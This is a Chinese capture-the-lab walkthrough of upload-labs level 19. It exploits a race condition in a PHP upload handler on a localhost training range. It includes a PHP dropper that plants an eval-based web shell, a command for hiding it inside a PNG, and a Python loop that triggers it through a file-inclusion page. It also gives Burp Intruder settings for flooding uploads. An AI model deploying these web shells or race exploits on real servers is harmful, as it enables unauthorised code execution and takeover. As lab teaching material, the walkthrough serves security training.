upload-labs通关笔记-第19关文件上传之条件竞争

目录

一、条件竞争

二、源码分析

1、源码分析

2、攻击原理

3、渗透思路

 三、实战渗透

1、构造脚本

2、制作图片马

3、获取上传脚本URL

4、构造访问母狼脚本的Python代码

5、bp不断并发上传母狼图片马

(1)开启专业版bp

(2) 上传母狼脚本发送到intruder

(3)配置intruder位置

6、python脚本执行文件包含访问母狼图片马

7、访问小狼脚本 


本文通过《upload-labs通关笔记-第19关文件上传之条件竞争》系列。文件上传条件竞争是一种在文件上传过程中利用并发操作导致的时间差来绕过安全限制的攻击方式,本节与18关不同之处是本关卡只能上传如下所示的白名单格式文件,以上传gif、jpg或者png格式的图片为例,需要利用文件包含访问图片马实现文件上传来渗透,实现条件竞争绕过渗透实战。

".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",
".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png"

一、条件竞争

文件上传之条件竞争原理是利用服务器在处理多个文件上传请求时的时间差,从而绕过安全检查或实现恶意目的,其基本工作原理如下所示。

(1)正常上传流程

  • 接收文件:服务器接收用户上传的文件,并将其存储在临时目录中。
  • 检查文件:服务器对文件进行各种检查,如文件类型、文件大小、文件内容等,以确保文件符合安全要求。
  • 保存文件:如果文件通过检查,服务器将其保存到指定的目录中。

(2)产生原因

  • 并发处理:服务器可能同时处理多个文件上传请求,这些请求可能在不同的线程或进程中执行。
  • 异步操作:某些操作可能是异步进行的,例如文件的检查和保存操作可能在不同的时间点完成。
  • 时间差:由于并发处理和异步操作,不同请求之间的操作可能存在时间差,这就为攻击者提供了利用的机会。

二、源码分析

1、源码分析

打开靶场第19关,查看源码,分析可知文件上传的处理流程是符合白名单的文件先被传到服务器,然后再重命名该文件。很明显代码存在条件竞争风险,主要原因在于文件移动和文件重命名这两个操作不是原子操作,中间存在时间间隔,攻击者可以利用这个时间间隔进行攻击。详细注释后的代码如下所示。 

// index.php
// 初始化变量,$is_upload 用于标记文件是否成功上传,初始值为 false 表示未成功上传
$is_upload = false;
// 初始化变量,$msg 用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;
// 检查是否通过 POST 方式提交了名为'submit'的表单元素,若提交则意味着用户发起了文件上传操作
if (isset($_POST['submit'])) {// 引入自定义的文件上传类所在的文件 myupload.php,以便使用其中定义的类和方法require_once("./myupload.php");// 使用当前时间戳生成一个文件名的基础部分$imgFileName = time();// 创建 MyUpload 类的实例,传入上传文件的原始文件名、临时文件名、文件大小以及生成的文件名基础部分$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'], $imgFileName);// 调用 MyUpload 类实例的 upload 方法,传入上传目标目录 UPLOAD_PATH,并获取上传操作的状态码$status_code = $u->upload(UPLOAD_PATH);// 根据获取到的状态码进行不同的处理,并设置相应的提示信息或标记上传状态switch ($status_code) {case 1:// 上传成功,将 $is_upload 设置为 true 表示文件已成功上传$is_upload = true;// 拼接上传文件在服务器上的完整路径,包括上传目录和重命名后的文件名$img_path = $u->cls_upload_dir. $u->cls_file_rename_to;break;case 2:// 文件已上传但未重命名,设置相应的提示信息$msg = '文件已经被上传,但没有重命名。';break;case -1:// 文件无法上传到服务器的临时文件存储目录,设置相应提示信息$msg = '这个文件不能上传到服务器的临时文件存储目录。';break;case -2:// 上传目录不可写,导致上传失败,设置相应提示信息$msg = '上传失败,上传目录不可写。';break;case -3:// 上传的文件类型不符合要求,设置相应提示信息$msg = '上传失败,无法上传该类型文件。';break;case -4:// 上传的文件过大,设置相应提示信息$msg = '上传失败,上传的文件过大。';break;case -5:// 服务器已存在相同名称的文件,设置相应提示信息$msg = '上传失败,服务器已经存在相同名称文件。';break;case -6:// 文件无法复制到目标目录,导致上传失败,设置相应提示信息$msg = '文件无法上传,文件不能复制到目标目录。';break;default:// 遇到未知错误,设置相应提示信息$msg = '未知错误!';break;}
}// myupload.php
class MyUpload {..................// 定义一个数组,存储允许上传的文件扩展名var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z", ".ppt",".html", ".xml", ".tiff", ".jpeg", ".png");................../*** upload() 方法* 用于执行文件上传操作的方法,是外部调用该类时唯一需要调用的方法* @param string $dir 要上传到的目标目录名称* @return void*/function upload($dir) {// 检查文件是否成功上传到服务器的临时目录,获取检查结果$ret = $this->isUploadedFile();// 如果检查结果不为 1(即上传到临时目录失败),返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 设置文件上传的目标目录,获取设置结果$ret = $this->setDir($dir);// 如果设置目标目录失败,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 检查上传文件的扩展名是否在允许的扩展名数组中,获取检查结果$ret = $this->checkExtension();// 如果扩展名检查不通过,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 检查上传文件的大小是否符合要求,获取检查结果$ret = $this->checkSize();// 如果文件大小检查不通过,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 如果检查文件是否存在的标志位设置为 1if ($this->cls_file_exists == 1) {// 检查目标目录中是否已存在同名文件,获取检查结果$ret = $this->checkFileExists();// 如果已存在同名文件,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}}// 如果执行到这里,说明文件已准备好移动到目标目录$ret = $this->move();// 如果移动文件失败,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 检查是否需要对文件进行重命名操作if ($this->cls_rename_file == 1) {// 执行文件重命名操作,获取操作结果$ret = $this->renameFile();// 如果重命名操作失败,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}}// 如果执行到这里,说明所有操作都按计划成功完成return $this->resultUpload("SUCCESS");}..................
}

upload 函数是用于执行文件上传操作的核心方法,整合了多个步骤来完成文件上传流程,并根据每个步骤的执行结果返回相应的状态码。具体如下所示

  • 调用 isUploadedFile 函数检查文件是否成功上传到服务器的临时目录。若检查失败,返回相应错误状态码。
  • 调用 setDir 函数设置文件上传的目标目录。若设置失败,返回相应错误状态码。
  • 调用 checkExtension 函数检查上传文件的扩展名是否在允许的白名单扩展名数组中($cls_arr_ext_accepted)中。若扩展名检查不通过,返回相应错误状态码。
  • 调用 checkSize 函数检查上传文件的大小是否符合要求。若文件大小检查不通过,返回相应错误状态码。
  • 当 $cls_file_exists 标志位为 1 时,调用 checkFileExists 函数检查目标目录中是否已存在同名文件。若已存在同名文件,返回相应错误状态码。
  • 调用 move 函数将文件从临时目录移动到目标目录。若移动文件失败,返回相应错误状态码。
  • 当 $cls_rename_file 标志位为 1 时,调用 renameFile 函数对文件进行重命名操作。若重命名操作失败,返回相应错误状态码。
  • 如果所有步骤都成功执行,返回表示成功的状态码。

这里涉及到条件竞争的部分主要是因为按照先进行文件存储,然后修改文件名操作,如下所示。

    $ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret );    }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}

2、攻击原理

根据源码可知本关卡服务器的处理流程有条件竞争风险,存在条件竞争的具体原因下所示。

  • 操作步骤分离且无原子性保障:在文件上传的流程中,移动文件(move)和重命名文件(renameFile)这两个关键操作是分开执行的。当有多个用户并发上传文件时,可能会出现以下情况:一个用户上传的文件先通过移动文件(move)存储到服务器目录,然后再通过了重命名renameFile对上传文件进行重命名处理,但在执行move操作之后并且在命名renameFile之前,如果利用文件包含对上传成功的图片马执行脚本,可以存储的文件执行破坏了文件上传的正常逻辑。
  • 缺乏并发控制机制:代码中没有针对并发上传情况的有效控制措施。在高并发场景下,多个上传请求可能同时进入不同的检查和操作阶段,由于没有对这些并发操作进行同步或加锁处理,使得文件上传的整个过程缺乏原子性,攻击者可以利用这种时间差,精心构造并发请求,绕过原本的安全检查机制,实现恶意文件的上传或其他恶意目的。例如,攻击者可以在短时间内多次上传文件,利用检查和移动操作之间的时间间隙,利用文件包含访问图片马来执行脚本。

3、渗透思路

(1)选择文件类型

本关卡与18关第一个不同之处是checkExtension 函数的处理,也就是说符合白名单的文件才能进行存储,故而这就限制了上传文件的后缀类型必须是如下之一。

".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",
".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png"

这部分只有jpg、png和gif可以通过制作图片马,再结合文件包含访问执行脚本。故而我们可以通过制作图片马进行上传。 

(2)利用文件包含访问图片马

在上传图片马的时候,由于服务器的处理是先按照原名存储,然后再被改为随机命名,当文件名称被修改后就无法继续访问原始图片马了。正是因为先存储后改名这之前的时间差可以利用,故而存在条件竞争风险。

我们通过利用上传到服务器和文件被重命名之间的时间差来进行渗透,即攻击者上传一个包含恶意代码的图片马文件(我们称之为母狼图片马),服务器将其移动到目标目录。在服务器进行文件类型检查并重命名之前,攻击者通过利用文件包含访问母狼图片马生成一个新的脚本(我们称之为小狼脚本),这样在后续的扩展名检查中,虽然母狼图片马因为被重命名无法访问到,但是小狼脚本却没有被检查而存储在服务器中被认为是合法文件,从而绕过了安全检查,这样我们访问小狼脚本恶意代码就有可能被执行。

  • 上传恶意文件:攻击者上传一个恶意文件(母狼图片马),该文件包含恶意代码。
  • 并发请求:攻击者同时发送同一母狼图片马的多个并发上传请求。
  • 利用时间差:服务器对图片的处理流程是先保存图片然后再进行重命名。由于服务器的并发处理和异步操作,攻击者利用这个时间差,在图片马通过检查后但还未被重命名之前,迅速利用文件包含访问图片马的脚本生成小狼脚本。
  • 绕过安全检查:由于小狼脚本是利用文件包含访问母狼图片马生产的,从而绕过了安全检查。
  • 执行恶意代码:一旦小狼脚本被保存到服务器上,攻击者就可以通过访问该文件来执行恶意代码,从而获取服务器的控制权或进行其他恶意操作。

总结起来就是上传木马1(母狼)成功,木马1(母狼)还没被删掉的时间差过程中,成功访问木马文1(母狼)。这个木马文件1(母狼)的特点是可以生成一句话小木马2(小狼),如果在时间差内访问成功上传的这个木1(母狼),即可生成一句话小木马2(小狼)。这样不断地并发上传母狼脚本,接下来不断地并发访问母狼脚本,由于服务器是先存储母狼脚本然后检查母狼的合法性再杀掉,只要利用时间差在服务器杀死母狼之前让母狼脚本可以生成小狼脚本,即可通过访问小狼脚本实现渗透

 三、实战渗透

1、修改源码

当前本关卡有bug,需要修改myupload.php文件,文件位置如下所示。

原本function setDir( $dir )中设置目录的函数错误,如下所示。

$this->cls_upload_dir = $dir;

需要将function setDir( $dir )这个函数中cls_upload_dir 的修改为如下内容。

$this->cls_upload_dir = $dir."/";

修改之后上传的文件都会到upload文件夹里,修改后如下所示。

2、构造脚本

构造文件上传的shell脚本(脚本1,母狼,命名为ljn_shell.php),内容为post马。脚本内容如下所示。

<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>

 此函数用于写入或创建一个名为 ljn_post.php 的文件(脚本2,小狼)。如果文件不存在,将会创建一个名为ljn_post.php新的文件,脚本内容如下所示。

    <?php @eval($_POST[ljn]);?>

    3、制作图片马

    使用如下命令生成图片马ljn_pass19.png(母狼图片马)。

    copy ljn_pass19_orig.png /b + ljn_shell.php ljn_pass19.png

    4、获取上传脚本URL

    对于上传到服务器的母狼图片马ljn_pass19.png,相关源码处理如下所示。

        // 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {}

    分析可知文件上传到服务器的URL根据如下代码决定,由upload目录与文件名拼接。

    upload_file = UPLOAD_PATH . '/' . $file_name

    根据源码可知$file_name为上传文件名,假如要传的图片马为ljn_pass19.png,那么存储在upload/目录下,那么母狼脚本1的URL链接地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_pass19.png

    文件包含的网址如下所示。

    http://127.0.0.1/upload-labs/include.php

    故而结合文件包含访问母狼图片马的URL地址应该如下所示。

    http://127.0.0.1/upload-labs/include.php?file=upload/ljn_pass19.png

    同理,母狼ljn_pass19.png结合文件包含访问生成的小狼脚本ljn_post.php生成在同一目录,故而小狼脚本文件的完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    5、构造访问母狼脚本的Python代码

    这段代码的功能是不断利用文件包含的并发访问母狼图片马ljn_pass19.png,希望可以利用时间差在服务器检查后缀判断其不在白名单删除母狼前,使得母狼脚本ljn_pass19.png可以通过文件包含访问图片马成功执行生成小狼脚本ljn_post.php。

    import requestsurl = "http://127.0.0.1/upload-labs/include.php?file=upload/ljn_pass19.png"
    while True:html = requests.get(url)if html.status_code == 200:# 获取页面内容page_content = html.text# 检查页面内容中是否包含字符串 "failed"if 'failed' in page_content:print("NO")#打印可以降速passelse:print("OK")break

    6、bp不断并发上传母狼图片马

    (1)开启专业版bp

    浏览器开启代理,burpsuite(注意要选用专业版)打开拦截功能。

    (2) 上传母狼脚本发送到intruder

    点击上传后报文被bp拦截,右键发送到intruder,如下所示。

    (3)配置intruder位置

    • 1)Position部分:选择sniper狙击手模式并清除所有载荷
    • 2)Payload部分:有效载荷中选择1,没有负载,以及无限期重复,如下图所示
    • 3)资源池部分:可以选择默认,也可以自己配置线程数以及间隔时间
    • 在intruder里面,选择resource pool下面有个create new source pool可以重新设置线程数,我们勾选maximum concurrent requests,并且进行参数的设置,这里我选择了10个线程,大家可以根据自己机器的配置进行设置。
    • 4)配置完毕后点击-开始攻击

    攻击后的效果如下所示。

    7、python脚本执行文件包含访问母狼图片马

    运行执行3.3的python脚本,看到ok说明渗透成功效果如下所示。

    此时说明渗透成功,母狼脚本访问成功,生成了小狼脚本ljn_post.php。此时关闭bp的intruder停止爆破,具体方法如下所示。

    8、访问小狼脚本 

    上传到服务器的母狼脚本访问成功,生成了小狼脚本ljn_post.php,完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    POST参数设置进行如下code设置,如下图所示渗透成功。

    ljn=phpinfo();

     

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/news/906685.shtml

    如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    分布式消息队列kafka详解

    分布式消息队列kafka详解 引言 Apache Kafka是一个开源的分布式事件流平台&#xff0c;最初由LinkedIn开发&#xff0c;现已成为处理高吞吐量、实时数据流的行业标准。Kafka不仅仅是一个消息队列&#xff0c;更是一个完整的分布式流处理平台&#xff0c;能够发布、订阅、存储…

    uni-app(3):互相引用

    1 绝对路径和相对路径 在日常开发中&#xff0c;经常会遇到使用绝对路径还是相对路径的问题&#xff0c;下面我们介绍下这两种路径。 1.1 绝对路径 绝对路径&#xff1a;是指从项目根目录开始的完整路径。它用于指定文件或目录的确切位置。绝对路径通常以斜杠&#xff08;/&am…

    python与flask框架

    一、理论 Flask是一个轻量级的web框架&#xff0c;灵活易用。提供构建web应用所需的核心工具。 Flask依赖python的两个库 Werkzeug&#xff1a;flask的底层库&#xff0c;提供了WSGI接口、HTTP请求和响应处理、路由等核心功能。 Jinja2&#xff1a;模板引擎&#xff0…

    esp32-idf框架学习笔记/教程

    esp32型号: 环境搭建 安装:就按这个来,别的试了好多次都不行,这个一次成功!!!! vscode下ESP32开发环境配置&#xff08;100%成功&#xff09;_哔哩哔哩_bilibili esp芯片的两种模式: ESP32 固件烧录教程_哔哩哔哩_bilibili 1.运行模式 2.下载模式 esp32s3程序下载 1.数据…

    VKontakte(VK)注册教程

    VKontakte&#xff08;简称VK&#xff09;是俄罗斯最大的社交网络平台&#xff0c;类似于Facebook&#xff0c;用户可以通过它进行社交、分享图片、视频、音乐等内容&#xff0c;并参与各类社群讨论&#xff0c;是与俄罗斯及其他东欧地区的朋友建立联系的便捷平台。对于做俄罗斯…

    STM32+ESP8266+ONENET+微信小程序上传数据下发指令避坑指南

    之前只做过类似的但是以为这种烂大街的功能应该不难结果还是踩了不少坑&#xff0c;记录几个需要注意的点 首先贴一个非常有用的视频&#xff0c;里面讲的很详细&#xff0c;给的资料也很全【【新版OneNet云平台】STM32ESP8266上传数据&#xff0c;简单易上手&#xff01;】 h…

    【知识点】关于vue3中markRow、shallowRef、shallowReactive的了解

    首先我们先了解一下这三个函数的定义以及区别 markRow 定义&#xff1a; 一个用于标记对象为非响应式的工具函数 shallowRef 定义&#xff1a; 一个用于创建浅层响应式引用的函数&#xff0c;只对 .value 本身进行响应式处理&#xff0c;不会递归地将 .value 指向的对象或…

    后端开发实习生-抖音生活服务

    职位描述 ByteIntern&#xff1a;面向2026届毕业生&#xff08;2025年9月-2026年8月期间毕业&#xff09;&#xff0c;为符合岗位要求的同学提供转正机会。 团队介绍&#xff1a;生活服务业务依托于抖音、抖音极速版等平台&#xff0c;致力于促进用户与本地服务的连接。过去一…

    OceanBase 共享存储:云原生数据库的存储

    目录 探会——第三届 OceanBase 开发者大会 重磅发布&#xff1a;OceanBase 4.3 开发者生态全面升级 实战演讲&#xff1a;用户案例与行业落地 OceanBase 共享存储架构解析 什么是共享存储架构&#xff1f; 云原生数据库的架构 性能、弹性与多云的统一 为何OceanBase能…

    C++ 结构体封装模式与 Promise 链式调用:设计思想的异曲同工

    C 结构体封装模式与 Promise 链式调用&#xff1a;设计思想的异曲同工 在软件开发中&#xff0c;我们常常追求代码的可维护性、可扩展性和可读性。不同的编程语言和场景下&#xff0c;虽然实现方式各异&#xff0c;但背后的设计思想往往存在着奇妙的相似性。本文将探讨 C 中结…

    【Go】1、Go语言基础

    前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言的特点 Go语言由Google团队设计&#xff0c;以简洁、高效、并发友好为核心目标。 具有以下优点&#xff1a; 语法简单、学习曲线平缓&#xff1a;语法关键字很少&#xff0c;且…

    AI时代的新营销范式:生成式引擎优化(GEO)的崛起——品牌如何被大模型收录

    在数字化浪潮席卷全球的今天&#xff0c;我们正站在一个前所未有的历史拐点。如果说过去二十年&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;重塑了企业与消费者的连接方式&#xff0c;那么未来二十年&#xff0c;生成式引擎优化&#xff08;GEO&#xff09;将彻底颠覆…

    实用蓝牙耳机哪款好?先做好使用场景分析!

    市面上的蓝牙耳机款式繁多&#xff0c;618到来之际&#xff0c;消费者如何选择适合自己的蓝牙耳机&#xff1f;实用蓝牙耳机哪款好&#xff1f;关键在于做好使用场景分析&#xff01;今天&#xff0c;就带大家结合不同的使用场景&#xff0c;分享三款倍思音频的精品蓝牙耳机。 …

    PTA刷题笔记3(微难,有详解)

    7-15 计算圆周率 代码如下&#xff1a; #include <stdio.h>int main() {double threshold;scanf("%lf", &threshold);double pi_over_2 1.0; // π/2的初始值&#xff08;第一项1&#xff09;double term 1.0; // 当前项的值int n 1; …

    基于SpringBoot+Vue的社区医院信息平台设计与实现

    项目背景与概述 随着医疗健康信息化的发展&#xff0c;社区医院的管理逐渐由传统的手工模式转向信息化管理。为了提高医院的管理效率、减少人工操作、提升服务质量&#xff0c;开发一个高效且实用的社区医院信息平台显得尤为重要。本系统基于Spring Boot框架与MySQL数据库设计…

    旧物回收小程序:让闲置焕发光彩,为生活增添价值

    你是否常常为家中堆积如山的闲置物品而烦恼&#xff1f;那些曾经心爱的物品&#xff0c;如今却成了占据空间的“鸡肋”&#xff0c;丢弃可惜&#xff0c;留着又无处安放。别担心&#xff0c;一款旧物二手回收小程序将为你解决这一难题&#xff0c;让闲置物品重新焕发光彩&#…

    掩码与网关是什么?

    1. 子网掩码&#xff08;Subnet Mask&#xff09; 作用&#xff1a;划分“小区”范围 想象你住在一个小区&#xff08;子网&#xff09;里&#xff1a; 小区门牌号 IP地址&#xff08;如 192.168.1.10&#xff09; 小区边界 子网掩码&#xff08;如 255.255.255.0&#xf…

    【Bluedroid】蓝牙HID Host disconnect流程源码解析

    本文基于 Android 蓝牙 HID&#xff08;Human Interface Device&#xff09;Host 模块的源码&#xff0c;深入解析 HID 设备断开连接的完整流程。重点覆盖从应用层触发断开请求&#xff0c;到 BTIF 层&#xff08;接口适配层&#xff09;状态校验与异步传递、BTA 层&#xff08…

    python定时删除指定索引

    脚本 import logging from datetime import datetime, timedelta from elasticsearch import Elasticsearch# 配置日志记录 logging.basicConfig(filenamedelete_uat_indices.log,levellogging.INFO,format%(asctime)s - %(levelname)s - %(message)s )# Elasticsearch 集群的…

    GESP编程等级认证C++三级7-字符、字符数组与字符串2

    2.3 用字符串定义字符数组的好处 使用字符串定义字符数组需要额外考虑其末尾的“\0”&#xff0c;为什么还要使用这种看上去“麻烦”的方法呢&#xff1f;从图5所示的代码就能看出原因。 图5 用字符串定义字符数组好处的代码 从图5中可以看出&#xff0c;a4是用字符串进行初始…